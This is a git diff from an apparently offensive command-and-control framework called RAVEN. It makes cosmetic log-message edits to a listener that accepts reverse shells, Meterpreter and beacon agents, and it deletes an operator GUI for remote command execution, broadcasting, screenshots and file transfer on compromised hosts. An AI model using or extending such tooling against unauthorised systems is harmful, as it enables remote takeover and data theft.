+ Logger.Error("server start failed. mode:" + Mode + " - " + E.getMessage());
return new boolean[] { false };
}
}
@@ -56,7 +56,7 @@ private void OpenSockets() throws Exception {
case MULTI, RAW -> {
TcpSocket = new ServerSocket(Port, 50, InetAddress.getByName(Host));
TcpSocket.setReuseAddress(true);
- Logger.Verbose("Plain TCP socket bound on " + Port);
+ Logger.Verbose("plain TCP socket bound on " + Port);
if (BeaconPort > 0 && Mode == ListenerMode.MULTI) {
BeaconSocket = new ServerSocket(BeaconPort, 50, InetAddress.getByName(Host));
BeaconSocket.setReuseAddress(true);
@@ -127,7 +127,7 @@ public void AcceptConnections() {
ServerSocket Active = TlsSocket != null ? TlsSocket : TcpSocket;
if (Active == null) {
- Logger.Warn("No TCP socket open for mode " + Mode + " — beacon-only mode");
+ Logger.Warn("no TCP socket open for mode " + Mode + " — beacon-only mode");
while (Running) {
try {
Thread.sleep(1000);
@@ -142,7 +142,7 @@ public void AcceptConnections() {
while (Running) {
try {
Socket Client = Active.accept();
- Logger.Verbose("Accepted TCP from " + Client.getRemoteSocketAddress());
+ Logger.Verbose("accepted TCP from " + Client.getRemoteSocketAddress());
Pool.submit(() -> HandleTcp(Client));
} catch (SocketTimeoutException Ignored) {
} catch (IOException E) {
@@ -159,7 +159,7 @@ private void BeaconAcceptLoop(ServerSocket Sock, boolean IsTls) {
Pool.submit(() -> HandleBeacon(Client, IsTls));
} catch (SocketTimeoutException Ignored) {
} catch (IOException E) {
- if (Running) Logger.Error("Beacon accept error: " + E.getMessage());
+ if (Running) Logger.Error("beacon accept error: " + E.getMessage());
break;
}
}
@@ -177,12 +177,12 @@ private void HandleTcp(Socket Client) {
}
DetectionResult Det = Detect(Client);
- Logger.Info("Connection [" + Det.Type + "] from " + RemoteAddr);
+ Logger.Info("connection [" + Det.Type + "] from " + RemoteAddr);
switch (Det.Type) {
case RAVEN -> {
if (!Mode.AcceptsRavenAgent()) {
- Logger.Warn("Mode " + Mode + " rejects RAVEN agents — dropping");
+ Logger.Warn("mode " + Mode + " rejects RAVEN agents — dropping");
CloseQuietly(Client);
return;
}
@@ -190,7 +190,7 @@ private void HandleTcp(Socket Client) {
}
case RAW -> {
if (!Mode.AcceptsRawShell()) {
- Logger.Warn("Mode " + Mode + " rejects raw shells — dropping");
+ Logger.Warn("mode " + Mode + " rejects raw shells — dropping");
CloseQuietly(Client);
return;
}
@@ -198,14 +198,14 @@ private void HandleTcp(Socket Client) {
}
case HTTP -> {
if (!Mode.AcceptsHttp()) {
- Logger.Warn("Mode " + Mode + " rejects HTTP — dropping");
+ Logger.Warn("mode " + Mode + " rejects HTTP — dropping");
CloseQuietly(Client);
return;
}
HandleBeacon(Client, false);
}
default -> {
- Logger.Warn("Unknown protocol from " + RemoteAddr + " — dropping");
+ Logger.Warn("unknown protocol from " + RemoteAddr + " — dropping");
CloseQuietly(Client);
}
}
@@ -258,7 +258,7 @@ private int RegisterRaw(Socket Client, DetectionResult Det, String RemoteAddr) t
SocketLocks.put(Id, new Object());
FireConnected(S, Id);
MonitorSession(Id, Client, true);
- Logger.Debug("Raw session-" + Id + " registered — " + RemoteAddr);
+ Logger.Debug("raw session-" + Id + " registered — " + RemoteAddr);
return Id;
}
@@ -378,10 +378,10 @@ private void BeaconPost(OutputStream Out, Map Query, byte[] Body
@Override
public String[] ExecuteCommand(int SessionId, String Command) {
Optional Opt = Sessions.Get(SessionId);
- if (Opt.isEmpty()) return Fail("Session not found");
+ if (Opt.isEmpty()) return Fail("session not found");
if (Opt.get().GetShellMode().startsWith("HTTP")) {
Object Lck = CommandLocks.get(SessionId);
- if (Lck == null) return Fail("Lock missing");
+ if (Lck == null) return Fail("lock missing");
synchronized (Lck) {
PendingCommands.put(SessionId, Command);
PendingOutputs.remove(SessionId);
@@ -433,9 +433,9 @@ private Session BuildSession(Socket Client, String RemoteAddr, Map M, String K) {
- return Str(M, K, "Unknown");
+ return Str(M, K, "unknown");
}
private static String Str(Map M, String K, String Def) {
diff --git a/src/main/java/com/raven/iface/GUI.java b/src/main/java/com/raven/iface/GUI.java
deleted file mode 100644
index 459cce8..0000000
--- a/src/main/java/com/raven/iface/GUI.java
+++ /dev/null
@@ -1,1289 +0,0 @@
-package com.raven.iface;
-
-import java.time.*;
-import java.time.format.DateTimeFormatter;
-import java.util.*;
-import java.util.Optional;
-import java.util.concurrent.Executors;
-
-import com.raven.core.db.TeamDatabase;
-import com.raven.core.event.EventManager.EventType;
-import com.raven.core.output.Logger;
-import com.raven.core.server.ListenerMode;
-import com.raven.core.server.RavenServer;
-import com.raven.core.session.Session;
-import com.raven.utils.ServerConfig;
-import com.raven.utils.SystemHelper;
-
-import javafx.application.Application;
-import javafx.application.Platform;
-import javafx.beans.property.SimpleStringProperty;
-import javafx.collections.*;
-import javafx.geometry.*;
-import javafx.scene.Scene;
-import javafx.scene.control.*;
-import javafx.scene.control.ButtonBar;
-import javafx.scene.control.cell.PropertyValueFactory;
-import javafx.scene.layout.*;
-import javafx.scene.text.*;
-import javafx.stage.Stage;
-
-public class GUI extends Application {
-
- private static ServerConfig Config;
- private TeamDatabase Db;
- private RavenServer Server;
- private Instant ServerStartTime;
- private final ObservableList SessionRows = FXCollections.observableArrayList();
- private final ObservableList LogEntries = FXCollections.observableArrayList();
- private int SelectedSessionId = -1;
-
- private static final String BgColor = "#050505";
- private static final String NavColor = "#0b0b0d";
- private static final String CardColor = "#101014";
- private static final String Card2Color = "#17171c";
- private static final String AccentColor = "#ffffff";
- private static final String RedColor = "#ff1f3d";
- private static final String GreenColor = "#ffffff";
- private static final String TextColor = "#ffffff";
- private static final String MutedColor = "#a7a7ad";
- private static final String BorderColor = "#2a2a31";
- private static final String PurpleColor = "#ff4d63";
- private static final String OrangeColor = "#d6d6db";
-
- private Label StatusLabel;
- private Label UptimeLabel;
- private Label SessionCountLabel;
- private TableView SessionTable;
- private TextArea TerminalOutput;
- private TextArea LogOutput;
- private TextField TermInputField;
- private TextField CmdInputField;
- private Label SelectedAgentLabel;
- private Label ServerStatusLabel;
- private Label ServerInfoLabel;
- private TextField HostField;
- private static boolean TeamMode = false;
- private String OperatorName = null;
- private TeamDatabase.OperatorRole OperatorRole = null;
- private TextField PortField;
- private Button StartBtn;
- private Button StopBtn;
-
- public static class SessionRow {
-
- private final SimpleStringProperty Id, Type, Name, Ip, Os, User, Host, Joined;
-
- public SessionRow(Session S) {
- Id = new SimpleStringProperty(String.valueOf(S.GetId()));
- Type = new SimpleStringProperty(S.GetSessionType().name());
- Name = new SimpleStringProperty(S.GetDisplayName());
- Ip = new SimpleStringProperty(S.GetAgentIp());
- Os = new SimpleStringProperty(S.GetOs());
- User = new SimpleStringProperty(S.GetUser());
- Host = new SimpleStringProperty(S.GetHostname());
- Joined = new SimpleStringProperty(S.GetSessionKey());
- }
-
- public String getId() {
- return Id.get();
- }
-
- public String getType() {
- return Type.get();
- }
-
- public String getName() {
- return Name.get();
- }
-
- public String getIp() {
- return Ip.get();
- }
-
- public String getOs() {
- return Os.get();
- }
-
- public String getUser() {
- return User.get();
- }
-
- public String getHost() {
- return Host.get();
- }
-
- public String getJoined() {
- return Joined.get();
- }
-
- public SimpleStringProperty IdProperty() {
- return Id;
- }
-
- public SimpleStringProperty TypeProperty() {
- return Type;
- }
-
- public SimpleStringProperty NameProperty() {
- return Name;
- }
-
- public SimpleStringProperty IpProperty() {
- return Ip;
- }
-
- public SimpleStringProperty OsProperty() {
- return Os;
- }
-
- public SimpleStringProperty UserProperty() {
- return User;
- }
-
- public SimpleStringProperty HostProperty() {
- return Host;
- }
-
- public SimpleStringProperty JoinedProperty() {
- return Joined;
- }
- }
-
- public static void Launch(ServerConfig Cfg) {
- Config = Cfg;
- TeamMode = false;
- Application.launch(GUI.class);
- }
-
- public static void LaunchTeamServer(ServerConfig Cfg) {
- Config = Cfg;
- TeamMode = true;
- Application.launch(GUI.class);
- }
-
- @Override
- public void start(Stage PrimaryStage) {
- Db = TeamDatabase.Connect(Config);
- if (TeamMode && !ShowLoginDialog(PrimaryStage)) {
- Platform.exit();
- return;
- }
- PrimaryStage.setTitle("RAVEN Framework V3");
- PrimaryStage.setWidth(1440);
- PrimaryStage.setHeight(900);
- PrimaryStage.setMinWidth(1100);
- PrimaryStage.setMinHeight(720);
-
- BorderPane Root = new BorderPane();
- Root.setStyle("-fx-background-color: " + BgColor + ";");
- Root.setLeft(BuildSidebar(PrimaryStage));
- Root.setCenter(BuildMainContent());
-
- Scene MainScene = new Scene(Root);
- PrimaryStage.setScene(MainScene);
- PrimaryStage.setOnCloseRequest(E -> {
- if (Server != null)
- Server.StopServer();
- Platform.exit();
- });
- PrimaryStage.show();
- StartUptimeTimer();
- }
-
- private VBox BuildSidebar(Stage Stage) {
- VBox Sidebar = new VBox();
- Sidebar.setPrefWidth(240);
- Sidebar.setStyle("-fx-background-color: linear-gradient(to bottom, #120006, #050505); -fx-border-color: transparent " + RedColor + " transparent transparent; -fx-border-width: 0 1.5 0 0;");
-
- VBox Logo = new VBox(8);
- Logo.setPadding(new Insets(28, 22, 18, 22));
- Label Icon = StyledLabel("◆", 38, RedColor, true);
- Label Name = StyledLabel("RAVEN", 28, TextColor, true);
- Label Tag = StyledLabel("Black Ops Console", 10, MutedColor, false);
- Logo.getChildren().addAll(Icon, Name, Tag);
- Sidebar.getChildren().add(Logo);
- Sidebar.getChildren().add(Divider());
-
- VBox Meta = new VBox(12);
- Meta.setPadding(new Insets(18, 22, 18, 22));
- Meta
- .getChildren()
- .addAll(
- MiniInfo("VERSION", "3.0.0"),
- MiniInfo("MODE", Config.GetServerMode().toUpperCase()),
- MiniInfo("INTERFACE", TeamMode ? "TEAM GUI" : "SOLO GUI"));
- VBox.setVgrow(Meta, Priority.ALWAYS);
- Sidebar.getChildren().add(Meta);
-
- VBox Footer = new VBox(8);
- Footer.setPadding(new Insets(14, 22, 18, 22));
- Footer
- .setStyle(
- "-fx-border-color: " + BorderColor + " transparent transparent transparent; -fx-border-width: 1;");
- Footer
- .getChildren()
- .addAll(
- StatusLabel = StyledLabel("● Offline", 11, RedColor, true),
- StyledLabel("MatrixTM26", 9, MutedColor, false));
- Sidebar.getChildren().add(Footer);
- return Sidebar;
- }
-
- private VBox MiniInfo(String Label, String Value) {
- VBox Box = new VBox(3);
- Box.setPadding(new Insets(10, 12, 10, 12));
- Box.setStyle("-fx-background-color: rgba(255,31,61,0.08); -fx-background-radius: 12; -fx-border-color: rgba(255,31,61,0.45); -fx-border-radius: 12;");
- Box.getChildren().addAll(StyledLabel(Label, 8, MutedColor, true), StyledLabel(Value, 11, TextColor, true));
- return Box;
- }
-
- private Tab BuildNavTab(String Name, javafx.scene.Node Content) {
- Tab T = new Tab(Name);
- T.setContent(Content);
- return T;
- }
-
- private BorderPane BuildMainContent() {
- BorderPane Main = new BorderPane();
- Main.setStyle("-fx-background-color: " + BgColor + ";");
- HBox TopBar = new HBox();
- TopBar.setPrefHeight(72);
- TopBar.setAlignment(Pos.CENTER_LEFT);
- TopBar.setStyle("-fx-background-color: linear-gradient(to right, #050505, #120006); -fx-border-color: transparent transparent " + RedColor + " transparent; -fx-border-width: 0 0 1.5 0;");
- TopBar.setPadding(new Insets(0, 24, 0, 24));
-
- UptimeLabel = StyledLabel("00:00:00", 9, MutedColor, false);
- SessionCountLabel = StyledLabel("⊟ 0 Sessions", 9, AccentColor, false);
-
- HBox Right = new HBox(16);
- Right.setAlignment(Pos.CENTER_RIGHT);
- HBox.setHgrow(Right, Priority.ALWAYS);
- Right.getChildren().addAll(UptimeLabel, VDivider(), SessionCountLabel);
- Label OpLabel = OperatorName != null
- ? StyledLabel(
- "Op: " + OperatorName + " [" + (OperatorRole != null ? OperatorRole.name() : "?") + "]",
- 8,
- AccentColor,
- false)
- : null;
- VBox Heading = new VBox(2);
- Heading.getChildren().addAll(StyledLabel("RAVEN Operations Console", 20, TextColor, true), StyledLabel("Listener control • Session ops • CLI-aligned command center", 10, MutedColor, false));
- if (OpLabel != null)
- TopBar.getChildren().addAll(Heading, OpLabel, Right);
- else
- TopBar.getChildren().addAll(Heading, Right);
- Main.setTop(TopBar);
-
- TabPane Tabs = new TabPane();
- Tabs.setTabClosingPolicy(TabPane.TabClosingPolicy.UNAVAILABLE);
- Tabs.setStyle("-fx-background-color: " + BgColor + "; -fx-tab-min-height: 42px; -fx-tab-max-height: 42px;");
- Tabs
- .getTabs()
- .addAll(
- BuildNavTab("Dashboard", BuildDashboardTab()),
- BuildNavTab("Sessions", BuildSessionsTab()),
- BuildNavTab("Terminal", BuildTerminalTab()),
- BuildNavTab("Commands", BuildCommandCenterTab()),
- BuildNavTab("Logs", BuildLogsTab()),
- BuildNavTab("Settings", BuildSettingsTab()));
- Main.setCenter(Tabs);
- return Main;
- }
-
- private ScrollPane BuildDashboardTab() {
- VBox Content = new VBox(12);
- Content.setPadding(new Insets(24));
- Content.setStyle("-fx-background-color: " + BgColor + ";");
-
- GridPane Cards = new GridPane();
- Cards.setHgap(8);
- Cards.setVgap(8);
-
- Cards.add(BuildStatCard("⊟", "Total Sessions", "0", TextColor), 0, 0);
- Cards.add(BuildStatCard("◉", "RAVEN", "0", RedColor), 1, 0);
- Cards.add(BuildStatCard("◎", "Meterpreter", "0", TextColor), 2, 0);
- Cards.add(BuildStatCard("◈", "Reverse Shell", "0", RedColor), 3, 0);
-
- for (int I = 0; I < 4; I++) {
- ColumnConstraints Col = new ColumnConstraints();
- Col.setPercentWidth(25);
- Cards.getColumnConstraints().add(Col);
- }
- Content.getChildren().add(Cards);
-
- VBox Info = BuildCard("TOOL INFORMATION");
- TextArea InfoText = new TextArea(
- " Author : MatrixTM26\n" +
- " Github : MatrixTM26\n" +
- " Version : 3.0\n\n" +
- " Use Sessions for fast actions and Commands for CLI-aligned workflows.\n" +
- " Terminal executes agent commands; Command Center executes server/session utilities.\n\n" +
- " GUI Commands:\n" +
- " • sessions | status | stats | tasks\n" +
- " • kill | sysinfo | note | getnote \n" +
- " • history [id] [limit] | broadcast \n" +
- " • exec | whoami | sleep \n" +
- " • screenshot | download | upload ");
- InfoText.setEditable(false);
- InfoText.setPrefHeight(200);
- ApplyTermStyle(InfoText);
- Info.getChildren().add(InfoText);
- Content.getChildren().add(Info);
-
- ScrollPane Scroll = new ScrollPane(Content);
- Scroll.setFitToWidth(true);
- Scroll.setStyle("-fx-background-color: " + BgColor + ";");
- return Scroll;
- }
-
- private VBox BuildSessionsTab() {
- VBox Content = new VBox(8);
- Content.setPadding(new Insets(12));
- Content.setStyle("-fx-background-color: " + BgColor + ";");
-
- HBox Toolbar = new HBox(8);
- Toolbar.setAlignment(Pos.CENTER_LEFT);
- TextField Search = new TextField();
- Search.setPromptText("🔍 Search sessions...");
- ApplyInputStyle(Search);
- Search.setPrefWidth(220);
- HBox.setHgrow(Search, Priority.ALWAYS);
-
- Button Refresh = StyledButton("⟳ Refresh", TextColor, true);
- Button Execute = StyledButton("▶ Execute", RedColor, false);
- Button Broadcast = StyledButton("⇶ Broadcast", TextColor, true);
- Button Kill = StyledButton("⊘ Kill", RedColor, false);
- Refresh.setOnAction(E -> RefreshSessions());
- Execute.setOnAction(E -> OpenExecuteWindow());
- Broadcast.setOnAction(E -> OpenBroadcastWindow());
- Kill.setOnAction(E -> KillSelected());
- Toolbar.getChildren().addAll(Search, Refresh, Execute, Broadcast, Kill);
- Content.getChildren().add(Toolbar);
-
- HBox SrvCmdRow = new HBox(8);
- SrvCmdRow.setAlignment(Pos.CENTER_LEFT);
- SrvCmdRow.setPadding(new Insets(4, 0, 4, 0));
- Label SrvLbl = StyledLabel("COMMAND:", 9, RedColor, true);
- TextField SrvInput = new TextField();
- SrvInput.setPromptText("sessions | status | stats | tasks | kill | sysinfo | history [id] [limit] | note | exec ");
- ApplyInputStyle(SrvInput);
- HBox.setHgrow(SrvInput, Priority.ALWAYS);
- Button SrvExec = StyledButton("RUN", RedColor, false);
- SrvExec.setOnAction(E -> RunServerCommand(SrvInput.getText().trim(), SrvInput));
- SrvInput.setOnAction(E -> RunServerCommand(SrvInput.getText().trim(), SrvInput));
- SrvCmdRow.getChildren().addAll(SrvLbl, SrvInput, SrvExec);
- Content.getChildren().add(SrvCmdRow);
-
- SessionTable = new TableView<>(SessionRows);
- SessionTable
- .setStyle(
- "-fx-background-color: " + CardColor + "; -fx-control-inner-background: " + CardColor + "; -fx-table-cell-border-color: " + BorderColor + "; -fx-table-header-border-color: "
- + BorderColor + "; -fx-text-fill: " + TextColor + "; -fx-background-radius: 12;");
- String[] ColNames = { "ID", "Type", "Name/Cert", "IP", "OS", "User", "Host", "Session Key" };
- String[] Props = { "id", "type", "name", "ip", "os", "user", "host", "joined" };
- for (int I = 0; I < ColNames.length; I++) {
- TableColumn Col = new TableColumn<>(ColNames[I]);
- Col.setCellValueFactory(new PropertyValueFactory<>(Props[I]));
- Col.setStyle("-fx-alignment: CENTER_LEFT; -fx-text-fill: " + TextColor + ";");
- SessionTable.getColumns().add(Col);
- }
- SessionTable
- .getSelectionModel()
- .selectedItemProperty()
- .addListener((Obs, Old, New) -> {
- if (New != null) {
- SelectedSessionId = Integer.parseInt(New.getId());
- if (SelectedAgentLabel != null)
- SelectedAgentLabel
- .setText(
- "● " + New.getName() + " #" + SelectedSessionId);
- }
- });
- VBox.setVgrow(SessionTable, Priority.ALWAYS);
- Content.getChildren().add(SessionTable);
- return Content;
- }
-
- private void RunServerCommand(String Cmd, TextField Input) {
- if (Cmd == null || Cmd.isBlank())
- return;
- if (Server == null || !Server.IsRunning()) {
- AddLog("[!] Server not running");
- return;
- }
- String[] Parts = Cmd.trim().split("\\s+", 2);
- switch (Parts[0].toLowerCase()) {
- case "sessions", "agents" -> {
- int N = Server.GetSessions().Count();
- AddLog("[*] Sessions (" + N + "):");
- Server
- .GetSessions()
- .GetAll()
- .forEach(
- S -> AddLog(
- " #" +
- S.GetId() +
- " [" +
- S.GetDisplayName() +
- "] " +
- S.GetUser() +
- "@" +
- S.GetHostname() +
- " key=" +
- S.GetSessionKey()));
- Platform.runLater(() -> RefreshSessions());
- }
- case "kill" -> {
- if (Parts.length < 2) {
- AddLog("[!] Usage: kill ");
- return;
- }
- try {
- int Id = Integer.parseInt(Parts[1].trim());
- Server.RemoveSession(Id);
- AddLog("[+] Session-" + Id + " terminated");
- Platform.runLater(() -> RefreshSessions());
- } catch (NumberFormatException E) {
- AddLog("[!] Invalid session ID");
- }
- }
- case "status" -> {
- AddLog("[*] Status: " + (Server.IsRunning() ? "ONLINE" : "OFFLINE"));
- AddLog(
- "[*] Mode: " + Server.GetMode().name() + " | Host: " + Server.GetHost() + ":"
- + Server.GetPort());
- AddLog("[*] Sessions: " + Server.GetSessions().Count());
- AddLog("[*] Key: " + Server.GetKeyBase64());
- }
- case "stats" -> {
- Map Stats = Server.GetSessions().GetStats();
- AddLog("[*] Total: " + Stats.get("Total"));
- AddLog("[*] RAVEN: " + Stats.get("RAVEN"));
- AddLog("[*] Meterpreter: " + Stats.get("METERPRETER"));
- AddLog("[*] Reverse Shell: " + Stats.get("REVERSE_SHELL"));
- }
- case "tasks" -> AddLog("[*] Active sessions: " + Server.GetSessions().Count() + " — use exec/broadcast to run tasks");
- case "broadcast" -> {
- if (Parts.length < 2) {
- AddLog("[!] Usage: broadcast ");
- return;
- }
- String BCmd = Parts[1];
- AddLog("[>] Broadcast → " + BCmd);
- Map R = Server.BroadcastAll(BCmd);
- R
- .forEach(
- (
- Id,
- Res) -> AddLog(" [" + Id + "] " + (Boolean.parseBoolean(Res[0]) ? "✔ " : "✘ ") + Res[1]));
- }
- case "exec" -> RunExecCommand(Parts.length > 1 ? Parts[1] : "");
- case "whoami", "screenshot" -> RunShortcutCommand(Parts, Parts[0].toLowerCase());
- case "sleep" -> RunSleepCommand(Parts);
- case "download" -> RunDownloadCommand(Parts);
- case "upload" -> RunUploadCommand(Parts);
- case "sysinfo", "info" -> ShowSessionInfoLog(Parts.length > 1 ? Parts[1] : "");
- case "note" -> SaveNoteCommand(Parts.length > 1 ? Parts[1] : "");
- case "getnote" -> GetNoteCommand(Parts.length > 1 ? Parts[1] : "");
- case "history" -> ShowHistoryCommand(Parts.length > 1 ? Parts[1] : "");
- default -> AddLog("[!] Unknown command: " + Parts[0]);
- }
- if (Input != null)
- Platform.runLater(() -> Input.clear());
- }
-
- private VBox BuildTerminalTab() {
- VBox Content = new VBox(8);
- Content.setPadding(new Insets(12));
- Content.setStyle("-fx-background-color: " + BgColor + ";");
-
- HBox Header = new HBox(8);
- Header.setAlignment(Pos.CENTER_LEFT);
- Label SessionLbl = StyledLabel("Session ID:", 9, MutedColor, false);
- TermInputField = new TextField();
- TermInputField.setPrefWidth(80);
- ApplyInputStyle(TermInputField);
- SelectedAgentLabel = StyledLabel("○ No agent selected", 9, MutedColor, false);
- Button ClearBtn = StyledButton("Clear", CardColor, false);
- ClearBtn.setOnAction(E -> {
- if (TerminalOutput != null)
- TerminalOutput.clear();
- });
- HBox.setHgrow(SelectedAgentLabel, Priority.ALWAYS);
- Header.getChildren().addAll(SessionLbl, TermInputField, SelectedAgentLabel, ClearBtn);
- Content.getChildren().add(Header);
-
- TerminalOutput = new TextArea();
- TerminalOutput.setEditable(false);
- TerminalOutput.setPrefHeight(400);
- ApplyTermStyle(TerminalOutput);
- VBox.setVgrow(TerminalOutput, Priority.ALWAYS);
- Content.getChildren().add(TerminalOutput);
-
- HBox InputRow = new HBox(8);
- InputRow.setAlignment(Pos.CENTER_LEFT);
- Label Prompt = StyledLabel("❯", 11, AccentColor, true);
- CmdInputField = new TextField();
- CmdInputField.setPromptText("Enter command...");
- ApplyInputStyle(CmdInputField);
- HBox.setHgrow(CmdInputField, Priority.ALWAYS);
- Button SendBtn = StyledButton("Send", AccentColor, false);
- SendBtn.setOnAction(E -> SendTerminalCommand());
- CmdInputField.setOnAction(E -> SendTerminalCommand());
- InputRow.getChildren().addAll(Prompt, CmdInputField, SendBtn);
- Content.getChildren().add(InputRow);
- return Content;
- }
-
- private VBox BuildCommandCenterTab() {
- VBox Content = new VBox(12);
- Content.setPadding(new Insets(18));
- Content.setStyle("-fx-background-color: " + BgColor + ";");
-
- VBox Help = BuildCard("CLI-ALIGNED COMMANDS");
- TextArea HelpText = new TextArea(
- "Server: sessions | status | stats | tasks\n" +
- "Session: exec | kill | sysinfo \n" +
- "Ops: broadcast | whoami | sleep \n" +
- "Files: screenshot | download | upload \n" +
- "Notes/History: note | getnote | history [id] [limit]");
- HelpText.setEditable(false);
- HelpText.setPrefHeight(120);
- ApplyTermStyle(HelpText);
- Help.getChildren().add(HelpText);
-
- HBox InputRow = new HBox(10);
- InputRow.setAlignment(Pos.CENTER_LEFT);
- TextField CommandInput = new TextField();
- CommandInput.setPromptText("Type GUI command matching CLI syntax...");
- ApplyInputStyle(CommandInput);
- HBox.setHgrow(CommandInput, Priority.ALWAYS);
- Button Run = StyledButton("EXECUTE", RedColor, false);
- Button Clear = StyledButton("CLEAR LOGS", TextColor, true);
- Run.setOnAction(E -> RunServerCommand(CommandInput.getText().trim(), CommandInput));
- CommandInput.setOnAction(E -> RunServerCommand(CommandInput.getText().trim(), CommandInput));
- Clear.setOnAction(E -> {
- LogEntries.clear();
- if (LogOutput != null)
- LogOutput.clear();
- });
- InputRow.getChildren().addAll(StyledLabel("❯", 16, RedColor, true), CommandInput, Run, Clear);
-
- TextArea Mirror = new TextArea();
- Mirror.setEditable(false);
- Mirror.setText("Command Center writes output to the Logs tab and mirrors operational events.\nStart the server first from Settings, then use Sessions/Commands.");
- ApplyTermStyle(Mirror);
- VBox.setVgrow(Mirror, Priority.ALWAYS);
-
- Content.getChildren().addAll(Help, InputRow, Mirror);
- return Content;
- }
-
- private VBox BuildLogsTab() {
- VBox Content = new VBox(8);
- Content.setPadding(new Insets(12));
- Content.setStyle("-fx-background-color: " + BgColor + ";");
-
- HBox Toolbar = new HBox(8);
- Toolbar.setAlignment(Pos.CENTER_RIGHT);
- Button ExportBtn = StyledButton("Export", TextColor, true);
- Button ClearBtn = StyledButton("Clear", RedColor, false);
- ClearBtn.setOnAction(E -> {
- LogEntries.clear();
- if (LogOutput != null)
- LogOutput.clear();
- });
- Toolbar.getChildren().addAll(ExportBtn, ClearBtn);
- Content.getChildren().add(Toolbar);
-
- LogOutput = new TextArea();
- LogOutput.setEditable(false);
- ApplyTermStyle(LogOutput);
- VBox.setVgrow(LogOutput, Priority.ALWAYS);
- Content.getChildren().add(LogOutput);
- return Content;
- }
-
- private ScrollPane BuildSettingsTab() {
- VBox Content = new VBox(16);
- Content.setPadding(new Insets(16));
- Content.setStyle("-fx-background-color: " + BgColor + ";");
-
- VBox ServerCard = BuildCard("Server Configuration");
- GridPane Fields = new GridPane();
- Fields.setHgap(16);
- Fields.setVgap(8);
-
- HostField = new TextField(Config.GetServerHost());
- PortField = new TextField(String.valueOf(Config.GetServerPort()));
- ApplyInputStyle(HostField);
- ApplyInputStyle(PortField);
-
- Fields.add(StyledLabel("Host:", 9, MutedColor, false), 0, 0);
- Fields.add(HostField, 1, 0);
- Fields.add(StyledLabel("Port:", 9, MutedColor, false), 0, 1);
- Fields.add(PortField, 1, 1);
- ServerCard.getChildren().add(Fields);
-
- HBox Btns = new HBox(8);
- StartBtn = StyledButton("▶ START SERVER", RedColor, false);
- StopBtn = StyledButton("◼ STOP SERVER", RedColor, false);
- StopBtn.setDisable(true);
- StartBtn.setOnAction(E -> StartServer());
- StopBtn.setOnAction(E -> StopServer());
- Btns.getChildren().addAll(StartBtn, StopBtn);
- ServerCard.getChildren().add(Btns);
-
- VBox StatusCard = BuildCard("Server Status");
- ServerStatusLabel = StyledLabel("● OFFLINE", 16, RedColor, true);
- ServerInfoLabel = StyledLabel("Not running", 10, MutedColor, false);
- StatusCard.getChildren().addAll(ServerStatusLabel, ServerInfoLabel);
-
- Content.getChildren().addAll(ServerCard, StatusCard);
- ScrollPane Scroll = new ScrollPane(Content);
- Scroll.setFitToWidth(true);
- Scroll.setStyle("-fx-background-color: " + BgColor + ";");
- return Scroll;
- }
-
- private boolean ShowLoginDialog(Stage Owner) {
- javafx.scene.control.Dialog Dlg = new javafx.scene.control.Dialog<>();
- Dlg.setTitle("TeamServer Login");
- Dlg.setHeaderText("RAVEN — Operator Authentication");
- Dlg.initOwner(Owner);
-
- GridPane Grid = new GridPane();
- Grid.setHgap(12);
- Grid.setVgap(8);
- Grid.setPadding(new Insets(20, 20, 10, 20));
-
- TextField UserField = new TextField();
- UserField.setPromptText("Username");
- PasswordField PassField = new PasswordField();
- PassField.setPromptText("Password");
- Label ErrLabel = new Label("");
- ErrLabel.setTextFill(javafx.scene.paint.Color.web(RedColor));
- ErrLabel.setFont(Font.font("Segoe UI", 9));
-
- Grid.add(new Label("Username:"), 0, 0);
- Grid.add(UserField, 1, 0);
- Grid.add(new Label("Password:"), 0, 1);
- Grid.add(PassField, 1, 1);
- Grid.add(ErrLabel, 1, 2);
-
- ButtonType LoginBtn = new ButtonType("Login", ButtonBar.ButtonData.OK_DONE);
- Dlg.getDialogPane().getButtonTypes().addAll(LoginBtn, ButtonType.CANCEL);
- Dlg.getDialogPane().setContent(Grid);
- Dlg.getDialogPane().setStyle("-fx-background-color: " + BgColor + ";");
-
- Dlg.setResultConverter(Btn -> {
- if (Btn == LoginBtn) {
- String User = UserField.getText().trim();
- String Pass = PassField.getText();
- if (Db.ValidateOperator(User, TeamDatabase.HashPassword(Pass))) {
- OperatorName = User;
- OperatorRole = Db.GetOperatorRole(User);
- return true;
- }
- ErrLabel.setText("Invalid credentials");
- return null;
- }
- return false;
- });
-
- for (int I = 0; I < 3; I++) {
- Optional Result = Dlg.showAndWait();
- if (Result.isEmpty() || Boolean.FALSE.equals(Result.get()))
- return false;
- if (Boolean.TRUE.equals(Result.get())) {
- Logger.Info("GUI operator login: " + OperatorName + " [" + OperatorRole + "]");
- return true;
- }
- }
- return false;
- }
-
- private void StartServer() {
- String Host = HostField.getText().trim();
- int Port;
- try {
- Port = Integer.parseInt(PortField.getText().trim());
- } catch (NumberFormatException E) {
- ShowAlert("Invalid port number");
- return;
- }
- Server = new RavenServer(Host, Port, ListenerMode.FromString(Config.GetServerMode()), Config);
- Server.AddEventListener(this::EventHandler);
- boolean[] Result = Server.StartServer();
- if (!Result[0]) {
- ShowAlert("Failed to start server");
- return;
- }
- ServerStartTime = Instant.now();
- Thread T = new Thread(Server::AcceptConnections, "AcceptConnections");
- T.setDaemon(true);
- T.start();
- Platform.runLater(() -> {
- ServerStatusLabel.setText("● ONLINE");
- ServerStatusLabel.setTextFill(javafx.scene.paint.Color.web(TextColor));
- ServerInfoLabel.setText(Host + ":" + Port);
- StatusLabel.setText("● Online");
- StatusLabel.setTextFill(javafx.scene.paint.Color.web(TextColor));
- StartBtn.setDisable(true);
- StopBtn.setDisable(false);
- });
- AddLog("[+] Server started on " + Host + ":" + Port);
- AddLog("[+] Session Key: " + Server.GetKeyBase64());
- }
-
- private void StopServer() {
- if (Server == null)
- return;
- Server.StopServer();
- ServerStartTime = null;
- Platform.runLater(() -> {
- ServerStatusLabel.setText("● OFFLINE");
- ServerStatusLabel.setTextFill(javafx.scene.paint.Color.web(RedColor));
- ServerInfoLabel.setText("Not running");
- StatusLabel.setText("● Offline");
- StatusLabel.setTextFill(javafx.scene.paint.Color.web(RedColor));
- StartBtn.setDisable(false);
- StopBtn.setDisable(true);
- SessionRows.clear();
- SessionCountLabel.setText("⊟ 0 Sessions");
- });
- AddLog("[!] Server stopped");
- }
-
- private void RefreshSessions() {
- if (Server == null)
- return;
- Platform.runLater(() -> {
- SessionRows.clear();
- for (Session S : Server.GetSessions().GetAll())
- SessionRows.add(new SessionRow(S));
